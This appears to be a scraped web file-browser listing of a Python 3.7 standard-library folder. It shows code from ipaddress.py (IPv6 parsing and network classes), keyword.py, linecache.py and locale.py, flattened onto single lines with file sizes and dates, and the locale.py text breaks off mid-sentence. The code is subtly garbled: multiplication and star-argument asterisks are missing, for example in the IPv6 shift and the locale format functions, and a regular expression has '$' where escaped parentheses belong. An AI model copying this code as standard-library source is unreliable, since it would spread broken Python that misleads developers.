1): if not parts[i]: if skip_index is not None: # Can't have more than one '::' msg = "At most one '::' permitted in %r" % ip_str raise AddressValueError(msg) skip_index = i # parts_hi is the number of parts to copy from above/before the '::' # parts_lo is the number of parts to copy from below/after the '::' if skip_index is not None: # If we found a '::', then check if it also covers the endpoints. parts_hi = skip_index parts_lo = len(parts) - skip_index - 1 if not parts[0]: parts_hi -= 1 if parts_hi: msg = "Leading ':' only permitted as part of '::' in %r" raise AddressValueError(msg % ip_str) # ^: requires ^:: if not parts[-1]: parts_lo -= 1 if parts_lo: msg = "Trailing ':' only permitted as part of '::' in %r" raise AddressValueError(msg % ip_str) # :$ requires ::$ parts_skipped = cls._HEXTET_COUNT - (parts_hi + parts_lo) if parts_skipped < 1: msg = "Expected at most %d other parts with '::' in %r" raise AddressValueError(msg % (cls._HEXTET_COUNT-1, ip_str)) else: # Otherwise, allocate the entire address to parts_hi. The # endpoints could still be empty, but _parse_hextet() will check # for that. if len(parts) != cls._HEXTET_COUNT: msg = "Exactly %d parts expected without '::' in %r" raise AddressValueError(msg % (cls._HEXTET_COUNT, ip_str)) if not parts[0]: msg = "Leading ':' only permitted as part of '::' in %r" raise AddressValueError(msg % ip_str) # ^: requires ^:: if not parts[-1]: msg = "Trailing ':' only permitted as part of '::' in %r" raise AddressValueError(msg % ip_str) # :$ requires ::$ parts_hi = len(parts) parts_lo = 0 parts_skipped = 0 try: # Now, parse the hextets into a 128-bit integer. ip_int = 0 for i in range(parts_hi): ip_int <<= 16 ip_int \|= cls._parse_hextet(parts[i]) ip_int <<= 16 parts_skipped for i in range(-parts_lo, 0): ip_int <<= 16 ip_int \|= cls._parse_hextet(parts[i]) return ip_int except ValueError as exc: raise AddressValueError("%s in %r" % (exc, ip_str)) from None @classmethod def _parse_hextet(cls, hextet_str): """Convert an IPv6 hextet string into an integer. Args: hextet_str: A string, the number to parse. Returns: The hextet as an integer. Raises: ValueError: if the input isn't strictly a hex number from [0..FFFF]. """ # Whitelist the characters, since int() allows a lot of bizarre stuff. if not cls._HEX_DIGITS.issuperset(hextet_str): raise ValueError("Only hex digits permitted in %r" % hextet_str) # We do the length check second, since the invalid character error # is likely to be more informative for the user if len(hextet_str) > 4: msg = "At most 4 characters permitted in %r" raise ValueError(msg % hextet_str) # Length check means we can skip checking the integer value return int(hextet_str, 16) @classmethod def _compress_hextets(cls, hextets): """Compresses a list of hextets. Compresses a list of strings, replacing the longest continuous sequence of "0" in the list with "" and adding empty strings at the beginning or at the end of the string such that subsequently calling ":".join(hextets) will produce the compressed version of the IPv6 address. Args: hextets: A list of strings, the hextets to compress. Returns: A list of strings. """ best_doublecolon_start = -1 best_doublecolon_len = 0 doublecolon_start = -1 doublecolon_len = 0 for index, hextet in enumerate(hextets): if hextet == '0': doublecolon_len += 1 if doublecolon_start == -1: # Start of a sequence of zeros. doublecolon_start = index if doublecolon_len > best_doublecolon_len: # This is the longest sequence of zeros so far. best_doublecolon_len = doublecolon_len best_doublecolon_start = doublecolon_start else: doublecolon_len = 0 doublecolon_start = -1 if best_doublecolon_len > 1: best_doublecolon_end = (best_doublecolon_start + best_doublecolon_len) # For zeros at the end of the address. if best_doublecolon_end == len(hextets): hextets += [''] hextets[best_doublecolon_start:best_doublecolon_end] = [''] # For zeros at the beginning of the address. if best_doublecolon_start == 0: hextets = [''] + hextets return hextets @classmethod def _string_from_ip_int(cls, ip_int=None): """Turns a 128-bit integer into hexadecimal notation. Args: ip_int: An integer, the IP address. Returns: A string, the hexadecimal representation of the address. Raises: ValueError: The address is bigger than 128 bits of all ones. """ if ip_int is None: ip_int = int(cls._ip) if ip_int > cls._ALL_ONES: raise ValueError('IPv6 address is too large') hex_str = '%032x' % ip_int hextets = ['%x' % int(hex_str[x:x+4], 16) for x in range(0, 32, 4)] hextets = cls._compress_hextets(hextets) return ':'.join(hextets) def _explode_shorthand_ip_string(self): """Expand a shortened IPv6 address. Args: ip_str: A string, the IPv6 address. Returns: A string, the expanded IPv6 address. """ if isinstance(self, IPv6Network): ip_str = str(self.network_address) elif isinstance(self, IPv6Interface): ip_str = str(self.ip) else: ip_str = str(self) ip_int = self._ip_int_from_string(ip_str) hex_str = '%032x' % ip_int parts = [hex_str[x:x+4] for x in range(0, 32, 4)] if isinstance(self, (_BaseNetwork, IPv6Interface)): return '%s/%d' % (':'.join(parts), self._prefixlen) return ':'.join(parts) def _reverse_pointer(self): """Return the reverse DNS pointer name for the IPv6 address. This implements the method described in RFC3596 2.5. """ reverse_chars = self.exploded[::-1].replace(':', '') return '.'.join(reverse_chars) + '.ip6.arpa' @property def max_prefixlen(self): return self._max_prefixlen @property def version(self): return self._version class IPv6Address(_BaseV6, _BaseAddress): """Represent and manipulate single IPv6 Addresses.""" __slots__ = ('_ip', '__weakref__') def __init__(self, address): """Instantiate a new IPv6 address object. Args: address: A string or integer representing the IP Additionally, an integer can be passed, so IPv6Address('2001:db8::') == IPv6Address(42540766411282592856903984951653826560) or, more generally IPv6Address(int(IPv6Address('2001:db8::'))) == IPv6Address('2001:db8::') Raises: AddressValueError: If address isn't a valid IPv6 address. """ # Efficient constructor from integer. if isinstance(address, int): self._check_int_address(address) self._ip = address return # Constructing from a packed address if isinstance(address, bytes): self._check_packed_address(address, 16) self._ip = int.from_bytes(address, 'big') return # Assume input argument to be string or any object representation # which converts into a formatted IP string. addr_str = str(address) if '/' in addr_str: raise AddressValueError("Unexpected '/' in %r" % address) self._ip = self._ip_int_from_string(addr_str) @property def packed(self): """The binary representation of this address.""" return v6_int_to_packed(self._ip) @property def is_multicast(self): """Test if the address is reserved for multicast use. Returns: A boolean, True if the address is a multicast address. See RFC 2373 2.7 for details. """ return self in self._constants._multicast_network @property def is_reserved(self): """Test if the address is otherwise IETF reserved. Returns: A boolean, True if the address is within one of the reserved IPv6 Network ranges. """ return any(self in x for x in self._constants._reserved_networks) @property def is_link_local(self): """Test if the address is reserved for link-local. Returns: A boolean, True if the address is reserved per RFC 4291. """ return self in self._constants._linklocal_network @property def is_site_local(self): """Test if the address is reserved for site-local. Note that the site-local address space has been deprecated by RFC 3879. Use is_private to test if this address is in the space of unique local addresses as defined by RFC 4193. Returns: A boolean, True if the address is reserved per RFC 3513 2.5.6. """ return self in self._constants._sitelocal_network @property @functools.lru_cache() def is_private(self): """Test if this address is allocated for private networks. Returns: A boolean, True if the address is reserved per iana-ipv6-special-registry. """ return any(self in net for net in self._constants._private_networks) @property def is_global(self): """Test if this address is allocated for public networks. Returns: A boolean, true if the address is not reserved per iana-ipv6-special-registry. """ return not self.is_private @property def is_unspecified(self): """Test if the address is unspecified. Returns: A boolean, True if this is the unspecified address as defined in RFC 2373 2.5.2. """ return self._ip == 0 @property def is_loopback(self): """Test if the address is a loopback address. Returns: A boolean, True if the address is a loopback address as defined in RFC 2373 2.5.3. """ return self._ip == 1 @property def ipv4_mapped(self): """Return the IPv4 mapped address. Returns: If the IPv6 address is a v4 mapped address, return the IPv4 mapped address. Return None otherwise. """ if (self._ip >> 32) != 0xFFFF: return None return IPv4Address(self._ip & 0xFFFFFFFF) @property def teredo(self): """Tuple of embedded teredo IPs. Returns: Tuple of the (server, client) IPs or None if the address doesn't appear to be a teredo address (doesn't start with 2001::/32) """ if (self._ip >> 96) != 0x20010000: return None return (IPv4Address((self._ip >> 64) & 0xFFFFFFFF), IPv4Address(~self._ip & 0xFFFFFFFF)) @property def sixtofour(self): """Return the IPv4 6to4 embedded address. Returns: The IPv4 6to4-embedded address if present or None if the address doesn't appear to contain a 6to4 embedded address. """ if (self._ip >> 112) != 0x2002: return None return IPv4Address((self._ip >> 80) & 0xFFFFFFFF) class IPv6Interface(IPv6Address): def __init__(self, address): addr, mask = self._split_addr_prefix(address) IPv6Address.__init__(self, addr) self.network = IPv6Network((addr, mask), strict=False) self.netmask = self.network.netmask self.hostmask = self.network.hostmask self._prefixlen = self.network._prefixlen def __str__(self): return '%s/%d' % (self._string_from_ip_int(self._ip), self.network.prefixlen) def __eq__(self, other): address_equal = IPv6Address.__eq__(self, other) if not address_equal or address_equal is NotImplemented: return address_equal try: return self.network == other.network except AttributeError: # An interface with an associated network is NOT the # same as an unassociated address. That's why the hash # takes the extra info into account. return False def __lt__(self, other): address_less = IPv6Address.__lt__(self, other) if address_less is NotImplemented: return NotImplemented try: return (self.network < other.network or self.network == other.network and address_less) except AttributeError: # We do allow addresses and interfaces to be sorted. The # unassociated address is considered less than all interfaces. return False def __hash__(self): return hash((self._ip, self._prefixlen, int(self.network.network_address))) __reduce__ = _IPAddressBase.__reduce__ @property def ip(self): return IPv6Address(self._ip) @property def with_prefixlen(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self._prefixlen) @property def with_netmask(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self.netmask) @property def with_hostmask(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self.hostmask) @property def is_unspecified(self): return self._ip == 0 and self.network.is_unspecified @property def is_loopback(self): return self._ip == 1 and self.network.is_loopback class IPv6Network(_BaseV6, _BaseNetwork): """This class represents and manipulates 128-bit IPv6 networks. Attributes: [examples for IPv6('2001:db8::1000/124')] .network_address: IPv6Address('2001:db8::1000') .hostmask: IPv6Address('::f') .broadcast_address: IPv6Address('2001:db8::100f') .netmask: IPv6Address('ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0') .prefixlen: 124 """ # Class to use when creating address objects _address_class = IPv6Address def __init__(self, address, strict=True): """Instantiate a new IPv6 Network object. Args: address: A string or integer representing the IPv6 network or the IP and prefix/netmask. '2001:db8::/128' '2001:db8:0000:0000:0000:0000:0000:0000/128' '2001:db8::' are all functionally the same in IPv6. That is to say, failing to provide a subnetmask will create an object with a mask of /128. Additionally, an integer can be passed, so IPv6Network('2001:db8::') == IPv6Network(42540766411282592856903984951653826560) or, more generally IPv6Network(int(IPv6Network('2001:db8::'))) == IPv6Network('2001:db8::') strict: A boolean. If true, ensure that we have been passed A true network address, eg, 2001:db8::1000/124 and not an IP address on a network, eg, 2001:db8::1/124. Raises: AddressValueError: If address isn't a valid IPv6 address. NetmaskValueError: If the netmask isn't valid for an IPv6 address. ValueError: If strict was True and a network address was not supplied. """ _BaseNetwork.__init__(self, address) addr, mask = self._split_addr_prefix(address) self.network_address = IPv6Address(addr) self.netmask, self._prefixlen = self._make_netmask(mask) packed = int(self.network_address) if packed & int(self.netmask) != packed: if strict: raise ValueError('%s has host bits set' % self) else: self.network_address = IPv6Address(packed & int(self.netmask)) if self._prefixlen == (self._max_prefixlen - 1): self.hosts = self.__iter__ def hosts(self): """Generate Iterator over usable hosts in a network. This is like __iter__ except it doesn't return the Subnet-Router anycast address. """ network = int(self.network_address) broadcast = int(self.broadcast_address) for x in range(network + 1, broadcast + 1): yield self._address_class(x) @property def is_site_local(self): """Test if the address is reserved for site-local. Note that the site-local address space has been deprecated by RFC 3879. Use is_private to test if this address is in the space of unique local addresses as defined by RFC 4193. Returns: A boolean, True if the address is reserved per RFC 3513 2.5.6. """ return (self.network_address.is_site_local and self.broadcast_address.is_site_local) class _IPv6Constants: _linklocal_network = IPv6Network('fe80::/10') _multicast_network = IPv6Network('ff00::/8') _private_networks = [ IPv6Network('::1/128'), IPv6Network('::/128'), IPv6Network('::ffff:0:0/96'), IPv6Network('100::/64'), IPv6Network('2001::/23'), IPv6Network('2001:2::/48'), IPv6Network('2001:db8::/32'), IPv6Network('2001:10::/28'), IPv6Network('fc00::/7'), IPv6Network('fe80::/10'), ] _reserved_networks = [ IPv6Network('::/8'), IPv6Network('100::/8'), IPv6Network('200::/7'), IPv6Network('400::/6'), IPv6Network('800::/5'), IPv6Network('1000::/4'), IPv6Network('4000::/3'), IPv6Network('6000::/3'), IPv6Network('8000::/3'), IPv6Network('A000::/3'), IPv6Network('C000::/3'), IPv6Network('E000::/4'), IPv6Network('F000::/5'), IPv6Network('F800::/6'), IPv6Network('FE00::/9'), ] _sitelocal_network = IPv6Network('fec0::/10') IPv6Address._constants = _IPv6Constants	71.85 KB	2024-04-17 17:55
📁 json	-	2025-10-13 08:00
📄 keyword.py #! /opt/alt/python37/bin/python3.7 """Keywords (from "graminit.c") This file is automatically generated; please don't muck it up! To update the symbols in this file, 'cd' to the top directory of the python source tree after building the interpreter and run: ./python Lib/keyword.py """ __all__ = ["iskeyword", "kwlist"] kwlist = [ #--start keywords-- 'False', 'None', 'True', 'and', 'as', 'assert', 'async', 'await', 'break', 'class', 'continue', 'def', 'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 'with', 'yield', #--end keywords-- ] iskeyword = frozenset(kwlist).__contains__ def main(): import sys, re args = sys.argv[1:] iptfile = args and args[0] or "Python/graminit.c" if len(args) > 1: optfile = args[1] else: optfile = "Lib/keyword.py" # load the output skeleton from the target, taking care to preserve its # newline convention. with open(optfile, newline='') as fp: format = fp.readlines() nl = format[0][len(format[0].strip()):] if format else '\n' # scan the source file for keywords with open(iptfile) as fp: strprog = re.compile('"([^"]+)"') lines = [] for line in fp: if '{1, "' in line: match = strprog.search(line) if match: lines.append(" '" + match.group(1) + "'," + nl) lines.sort() # insert the lines of keywords into the skeleton try: start = format.index("#--start keywords--" + nl) + 1 end = format.index("#--end keywords--" + nl) format[start:end] = lines except ValueError: sys.stderr.write("target does not contain format markers\n") sys.exit(1) # write the output file with open(optfile, 'w', newline='') as fp: fp.writelines(format) if __name__ == "__main__": main()	2.2 KB	2024-04-17 17:55
📁 lib-dynload	-	2025-10-13 08:00
📁 lib2to3	-	2025-10-13 08:00
📄 linecache.py """Cache lines from Python source files. This is intended to read lines from modules imported -- hence if a filename is not found, it will look down the module search path for a file by that name. """ import functools import sys import os import tokenize __all__ = ["getline", "clearcache", "checkcache"] def getline(filename, lineno, module_globals=None): lines = getlines(filename, module_globals) if 1 <= lineno <= len(lines): return lines[lineno-1] else: return '' # The cache # The cache. Maps filenames to either a thunk which will provide source code, # or a tuple (size, mtime, lines, fullname) once loaded. cache = {} def clearcache(): """Clear the cache entirely.""" global cache cache = {} def getlines(filename, module_globals=None): """Get the lines for a Python source file from the cache. Update the cache if it doesn't contain an entry for this file already.""" if filename in cache: entry = cache[filename] if len(entry) != 1: return cache[filename][2] try: return updatecache(filename, module_globals) except MemoryError: clearcache() return [] def checkcache(filename=None): """Discard cache entries that are out of date. (This is not checked upon each call!)""" if filename is None: filenames = list(cache.keys()) else: if filename in cache: filenames = [filename] else: return for filename in filenames: entry = cache[filename] if len(entry) == 1: # lazy cache entry, leave it lazy. continue size, mtime, lines, fullname = entry if mtime is None: continue # no-op for files loaded via a __loader__ try: stat = os.stat(fullname) except OSError: cache.pop(filename, None) continue if size != stat.st_size or mtime != stat.st_mtime: cache.pop(filename, None) def updatecache(filename, module_globals=None): """Update a cache entry and return its list of lines. If something's wrong, print a message, discard the cache entry, and return an empty list.""" if filename in cache: if len(cache[filename]) != 1: cache.pop(filename, None) if not filename or (filename.startswith('<') and filename.endswith('>')): return [] fullname = filename try: stat = os.stat(fullname) except OSError: basename = filename # Realise a lazy loader based lookup if there is one # otherwise try to lookup right now. if lazycache(filename, module_globals): try: data = cache[filename][0]() except (ImportError, OSError): pass else: if data is None: # No luck, the PEP302 loader cannot find the source # for this module. return [] cache[filename] = ( len(data), None, [line+'\n' for line in data.splitlines()], fullname ) return cache[filename][2] # Try looking through the module search path, which is only useful # when handling a relative filename. if os.path.isabs(filename): return [] for dirname in sys.path: try: fullname = os.path.join(dirname, basename) except (TypeError, AttributeError): # Not sufficiently string-like to do anything useful with. continue try: stat = os.stat(fullname) break except OSError: pass else: return [] try: with tokenize.open(fullname) as fp: lines = fp.readlines() except OSError: return [] if lines and not lines[-1].endswith('\n'): lines[-1] += '\n' size, mtime = stat.st_size, stat.st_mtime cache[filename] = size, mtime, lines, fullname return lines def lazycache(filename, module_globals): """Seed the cache for filename with module_globals. The module loader will be asked for the source only when getlines is called, not immediately. If there is an entry in the cache already, it is not altered. :return: True if a lazy load is registered in the cache, otherwise False. To register such a load a module loader with a get_source method must be found, the filename must be a cachable filename, and the filename must not be already cached. """ if filename in cache: if len(cache[filename]) == 1: return True else: return False if not filename or (filename.startswith('<') and filename.endswith('>')): return False # Try for a __loader__, if available if module_globals and '__loader__' in module_globals: name = module_globals.get('__name__') loader = module_globals['__loader__'] get_source = getattr(loader, 'get_source', None) if name and get_source: get_lines = functools.partial(get_source, name) cache[filename] = (get_lines,) return True return False	5.21 KB	2024-04-17 17:55
📄 locale.py """Locale support module. The module provides low-level access to the C lib's locale APIs and adds high level number formatting APIs as well as a locale aliasing engine to complement these. The aliasing engine includes support for many commonly used locale names and maps them to values suitable for passing to the C lib's setlocale() function. It also includes default encodings for all supported locale names. """ import sys import encodings import encodings.aliases import re import _collections_abc from builtins import str as _builtin_str import functools # Try importing the _locale module. # # If this fails, fall back on a basic 'C' locale emulation. # Yuck: LC_MESSAGES is non-standard: can't tell whether it exists before # trying the import. So __all__ is also fiddled at the end of the file. __all__ = ["getlocale", "getdefaultlocale", "getpreferredencoding", "Error", "setlocale", "resetlocale", "localeconv", "strcoll", "strxfrm", "str", "atof", "atoi", "format", "format_string", "currency", "normalize", "LC_CTYPE", "LC_COLLATE", "LC_TIME", "LC_MONETARY", "LC_NUMERIC", "LC_ALL", "CHAR_MAX"] def _strcoll(a,b): """ strcoll(string,string) -> int. Compares two strings according to the locale. """ return (a > b) - (a < b) def _strxfrm(s): """ strxfrm(string) -> string. Returns a string that behaves for cmp locale-aware. """ return s try: from _locale import * except ImportError: # Locale emulation CHAR_MAX = 127 LC_ALL = 6 LC_COLLATE = 3 LC_CTYPE = 0 LC_MESSAGES = 5 LC_MONETARY = 4 LC_NUMERIC = 1 LC_TIME = 2 Error = ValueError def localeconv(): """ localeconv() -> dict. Returns numeric and monetary locale-specific parameters. """ # 'C' locale default values return {'grouping': [127], 'currency_symbol': '', 'n_sign_posn': 127, 'p_cs_precedes': 127, 'n_cs_precedes': 127, 'mon_grouping': [], 'n_sep_by_space': 127, 'decimal_point': '.', 'negative_sign': '', 'positive_sign': '', 'p_sep_by_space': 127, 'int_curr_symbol': '', 'p_sign_posn': 127, 'thousands_sep': '', 'mon_thousands_sep': '', 'frac_digits': 127, 'mon_decimal_point': '', 'int_frac_digits': 127} def setlocale(category, value=None): """ setlocale(integer,string=None) -> string. Activates/queries locale processing. """ if value not in (None, '', 'C'): raise Error('_locale emulation only supports "C" locale') return 'C' # These may or may not exist in _locale, so be sure to set them. if 'strxfrm' not in globals(): strxfrm = _strxfrm if 'strcoll' not in globals(): strcoll = _strcoll _localeconv = localeconv # With this dict, you can override some items of localeconv's return value. # This is useful for testing purposes. _override_localeconv = {} @functools.wraps(_localeconv) def localeconv(): d = _localeconv() if _override_localeconv: d.update(_override_localeconv) return d ### Number formatting APIs # Author: Martin von Loewis # improved by Georg Brandl # Iterate over grouping intervals def _grouping_intervals(grouping): last_interval = None for interval in grouping: # if grouping is -1, we are done if interval == CHAR_MAX: return # 0: re-use last group ad infinitum if interval == 0: if last_interval is None: raise ValueError("invalid grouping") while True: yield last_interval yield interval last_interval = interval #perform the grouping from right to left def _group(s, monetary=False): conv = localeconv() thousands_sep = conv[monetary and 'mon_thousands_sep' or 'thousands_sep'] grouping = conv[monetary and 'mon_grouping' or 'grouping'] if not grouping: return (s, 0) if s[-1] == ' ': stripped = s.rstrip() right_spaces = s[len(stripped):] s = stripped else: right_spaces = '' left_spaces = '' groups = [] for interval in _grouping_intervals(grouping): if not s or s[-1] not in "0123456789": # only non-digit characters remain (sign, spaces) left_spaces = s s = '' break groups.append(s[-interval:]) s = s[:-interval] if s: groups.append(s) groups.reverse() return ( left_spaces + thousands_sep.join(groups) + right_spaces, len(thousands_sep) * (len(groups) - 1) ) # Strip a given amount of excess padding from the given string def _strip_padding(s, amount): lpos = 0 while amount and s[lpos] == ' ': lpos += 1 amount -= 1 rpos = len(s) - 1 while amount and s[rpos] == ' ': rpos -= 1 amount -= 1 return s[lpos:rpos+1] _percent_re = re.compile(r'%(?:$(?P<key>.?)$)?' r'(?P<modifiers>[-#0-9 +.hlL]?)[eEfFgGdiouxXcrs%]') def _format(percent, value, grouping=False, monetary=False, additional): if additional: formatted = percent % ((value,) + additional) else: formatted = percent % value # floats and decimal ints need special action! if percent[-1] in 'eEfFgG': seps = 0 parts = formatted.split('.') if grouping: parts[0], seps = _group(parts[0], monetary=monetary) decimal_point = localeconv()[monetary and 'mon_decimal_point' or 'decimal_point'] formatted = decimal_point.join(parts) if seps: formatted = _strip_padding(formatted, seps) elif percent[-1] in 'diu': seps = 0 if grouping: formatted, seps = _group(formatted, monetary=monetary) if seps: formatted = _strip_padding(formatted, seps) return formatted def format_string(f, val, grouping=False, monetary=False): """Formats a string in the same way that the % formatting would use, but takes the current locale into account. Grouping is applied if the third parameter is true. Conversion uses monetary thousands separator and grouping strings if forth parameter monetary is true.""" percents = list(_percent_re.finditer(f)) new_f = _percent_re.sub('%s', f) if isinstance(val, _collections_abc.Mapping): new_val = [] for perc in percents: if perc.group()[-1]=='%': new_val.append('%') else: new_val.append(_format(perc.group(), val, grouping, monetary)) else: if not isinstance(val, tuple): val = (val,) new_val = [] i = 0 for perc in percents: if perc.group()[-1]=='%': new_val.append('%') else: starcount = perc.group('modifiers').count('') new_val.append(_format(perc.group(), val[i], grouping, monetary, val[i+1:i+1+starcount])) i += (1 + starcount) val = tuple(new_val) return new_f % val def format(percent, value, grouping=False, monetary=False, additional): """Deprecated, use format_string instead.""" import warnings warnings.warn( "This method will be removed in a future version of Python. " "Use 'locale.format_string()' instead.", DeprecationWarning, stacklevel=2 ) match = _percent_re.match(percent) if not match or len(match.group())!= len(percent): raise ValueError(("format() must be given exactly one %%char " "format specifier, %s not valid") % repr(percent)) return _format(percent, value, grouping, monetary, additional) def currency(val, symbol=True, grouping=False, international=False): """Formats val according to the currency settings in the current locale.""" conv = localeconv() # check for illegal values digits = conv[international and 'int_frac_digits' or 'frac_digits'] if digits == 127: raise ValueError("Currency formatting is not possible using " "the 'C' locale.") s = _format('%%.%if' % digits, abs(val), grouping, monetary=True) # '<' and '>' are markers if the sign must be inserted between symbol and value s = '<' + s + '>' if symbol: smb = conv[international and 'int_curr_symbol' or 'currency_symbol'] precedes = conv[val<0 and 'n_cs_precedes' or 'p_cs_precedes'] separated = conv[val<0 and 'n_sep_by_space' or 'p_sep_by_space'] if precedes: s = smb + (separated and ' ' or '') + s else: s = s + (separated and ' ' or '') + smb sign_pos = conv[val<0 and 'n_sign_posn' or 'p_sign_posn'] sign = conv[val<0 and 'negative_sign' or 'positive_sign'] if sign_pos == 0: s = '(' + s + ')' elif sign_pos == 1: s = sign + s elif sign_pos == 2: s = s + sign elif sign_pos == 3: s = s.replace('<', sign) elif sign_pos == 4: s = s.replace('>', sign) else: # the default if nothing specified; # this should be the most fitting sign position s = sign + s return s.replace('<', '').replace('>', '') def str(val): """Convert float to string, taking the locale into account.""" return _format("%.12g", val) def delocalize(string): "Parses a string as a normalized number according to the locale settings." conv = localeconv() #First, get rid of the grouping ts = conv['thousands_sep'] if ts: string = string.replace(ts, '') #next, replace the decimal point with a dot dd = conv['decimal_point'] if dd: string = string.replace(dd, '.') return string def atof(string, func=float): "Parses a string as a float according to the locale settings." return func(delocalize(string)) def atoi(string): "Converts a string to an integer according to the locale settings." return int(delocalize(string)) def _test(): setlocale(LC_ALL, "") #do grouping s1 = format_string("%d", 123456789,1) print(s1, "is", atoi(s1)) #standard formatting s1 = str(3.14) print(s1, "is", atof(s1)) ### Locale name aliasing engine # Author: Marc-Andre Lemburg, mal@lemburg.com # Various tweaks by Fredrik Lundh <fredrik@pythonware.com> # store away the low-level version of setlocale (it's # overridden below) _setlocale = setlocale def _replace_encoding(code, encoding): if '.' in code: langname = code[:code.index('.')] else: langname = code # Convert the encoding to a C lib compatible encoding string norm_encoding = encodings.normalize_encoding(encoding) #print('norm encoding: %r' % norm_encoding) norm_encoding = encodings.aliases.aliases.get(norm_encoding.lower(), norm_encoding) #print('aliased encoding: %r' % norm_encoding) encoding = norm_encoding norm_encoding = norm_encoding.lower() if norm_encoding in locale_encoding_alias: encoding = locale_encoding_alias[norm_encoding] else: norm_encoding = norm_encoding.replace('_', '') norm_encoding = norm_encoding.replace('-', '') if norm_encoding in locale_encoding_alias: encoding = locale_encoding_alias[norm_encoding] #print('found encoding %r' % encoding) return langname + '.' + encoding def _append_modifier(code, modifier): if modifier == 'euro': if '.' not in code: return code + '.ISO8859-15' _, _, encoding = code.partition('.') if encoding in ('ISO8859-15', 'UTF-8'): return code if encoding == 'ISO8859-1': return _replace_encoding(code, 'ISO8859-15') return code + '@' + modifier def normalize(localename): """ Returns a normalized locale code for the given locale name. The returned locale code is formatted for use with setlocale(). If normalization fails, the original name is returned unchanged. If the given encoding is not known, the function defaults to the default encoding for the locale code just like setlocale() does. """ # Normalize the locale name and extract the encoding and modifier code = localename.lower() if ':' in code: # ':' is sometimes used as encoding delimiter. code = code.replace(':', '.') if '@' in code: code, modifier = code.split('@', 1) else: modifier = '' if '.' in code: langname, encoding = code.split('.')[:2] else: langname = code encoding = '' # First lookup: fullname (possibly with encoding and modifier) lang_enc = langname if encoding: norm_encoding = encoding.replace('-', '') norm_encoding = norm_encoding.replace('_', '') lang_enc += '.' + norm_encoding lookup_name = lang_enc if modifier: lookup_name += '@' + modifier code = locale_alias.get(lookup_name, None) if code is not None: return code #print('first lookup failed') if modifier: # Second try: fullname without modifier (possibly with encoding) code = locale_alias.get(lang_enc, None) if code is not None: #print('lookup without modifier succeeded') if '@' not in code: return _append_modifier(code, modifier) if code.split('@', 1)[1].lower() == modifier: return code #print('second lookup failed') if encoding: # Third try: langname (without encoding, possibly with modifier) lookup_name = langname if modifier: lookup_name += '@' + modifier code = locale_alias.get(lookup_name, None) if code is not None: #print('lookup without encoding succeeded') if '@' not in code: return _replace_encoding(code, encoding) code, modifier = code.split('@', 1) return _replace_encoding(code, encoding) + '@' + modifier if modifier: # Fourth try: langname (without encoding and modifier) code = locale_alias.get(langname, None) if code is not None: #print('lookup without modifier and encoding succeeded') if '@' not in code: code = _replace_encoding(code, encoding) return _append_modifier(code, modifier) code, defmod = code.split('@', 1) if defmod.lower() == modifier: return _replace_encoding(code, encoding) + '@' + defmod return localename def _parse_localename(localename): """ Parses the locale code for localename and returns the result as tuple (language code, encoding). The localename is normalized and passed through the locale alias engine. A ValueError is raised in case the locale name cannot be parsed. The language code corresponds to RFC 1766. code and encoding can be None in case the values cannot be determined or are unknown to this implementation. """ code = normalize(localename) if '@' in code: # Deal with locale modifiers code, modifier = code.split('@', 1) if modifier == 'euro' and '.' not in code: # Assume Latin-9 for @euro locales. This is bogus, # since some systems may use other encodings for these # locales. Also, we ignore other modifiers. return code, 'iso-8859-15' if '.' in code: return tuple(code.split('.')[:2]) elif code == 'C': return None, None elif code == 'UTF-8': # On macOS "LC_CTYPE=UTF-8" is a valid locale setting # for getting UTF-8 handling for text. return None, 'UTF-8' raise ValueError('unknown locale: %s' % localename) def _build_localename(localetuple): """ Builds a locale code from the given tuple (language code, encoding). No aliasing or normalizing takes place. """ try: language, encoding = localetuple if language is None: language = 'C' if encoding is None: return language else: return language + '.' + encoding except (TypeError, ValueError): raise TypeError('Locale must be None, a string, or an iterable of ' 'two strings -- language code, encoding.') from None def getdefaultlocale(envvars=('LC_ALL', 'LC_CTYPE', 'LANG', 'LANGUAGE')): """ Tries to determine the default locale settings and returns them as tuple (language code, encoding). According to POSIX, a program which has not called setlocale(LC_ALL, "") runs using the portable 'C' locale. Calling setlocale(LC_ALL, "") lets it use the default locale as defined by the LANG variable. Since we don't want to interfere with the current locale setting we thus emulate the behavior in the way described above. To maintain compatibility with other platforms, not only the LANG variable is tested, but a list of variables given as envvars parameter. The first found to be defined will be used. envvars defaults to the search path used in GNU gettext; it must always contain the variable name 'LANG'. Except for the code 'C', the language code corresponds to RFC 1766. code and encoding can be None in case the values cannot be determined. """ try: # check if it's supported by the _locale module import _locale code, encoding = _locale._getdefaultlocale() except (ImportError, AttributeError): pass else: # make sure the code/encoding values are valid if sys.platform == "win32" and code and code[:2] == "0x": # map windows language identifier to language name code = windows_locale.get(int(code, 0)) # ...add other platform-specific processing here, if # necessary... return code, encoding # fall back on POSIX behaviour import os lookup = os.environ.get for variable in envvars: localename = lookup(variable,None) if localename: if variable == 'LANGUAGE': localename = localename.split(':')[0] break else: localename = 'C' return _parse_localename(localename) def getlocale(category=LC_CTYPE): """ Returns the current setting for the given locale category as tuple (language code, encoding). category may be one of the LC_* value except LC_ALL. It defaults to LC_CTYPE. Except for the code 'C', the language code corresponds to RFC 1766. code and encoding can be None in case the values cannot be determined. """ localename = _setlocale(category) if category == LC_ALL and ';' in localename: raise TypeError('category LC_ALL is not supported') return _parse_localename(localename) def setlocale(category, locale=None): """ Set the locale for the given category. The locale can be a string, an iterable of two strings (language code and encoding), or None. Iterables are converted to strings using the locale aliasing engine. Locale strings are passed directly to the C lib. category may be given as one of the LC_* values. """ if locale and not isinstance(locale, _builtin_str): # convert to string locale = normalize(_build_localename(locale)) return _setlocale(category, locale) def resetlocale(category=LC_ALL): """ Sets the locale for category to the default setting. The default setting is determined by calling getdefaultlocale(). category defaults to LC_ALL. """ _setlocale(category, _build_localename(getdefaultlocale())) if sys.platform.startswith("win"): # On Win32, this will return the ANSI code page def getpreferredencoding(do_setlocale = True): """Return the charset that the user is likely using.""" if sys.flags.utf8_mode: return 'UTF-8' import _bootlocale return _bootlocale.getpreferredencoding(False) else: # On Unix, if CODESET is available, use that. try: CODESET except NameError: if hasattr(sys, 'getandroidapilevel'): # On Android langinfo.h and CODESET are missing, and UTF-8 is # always used in 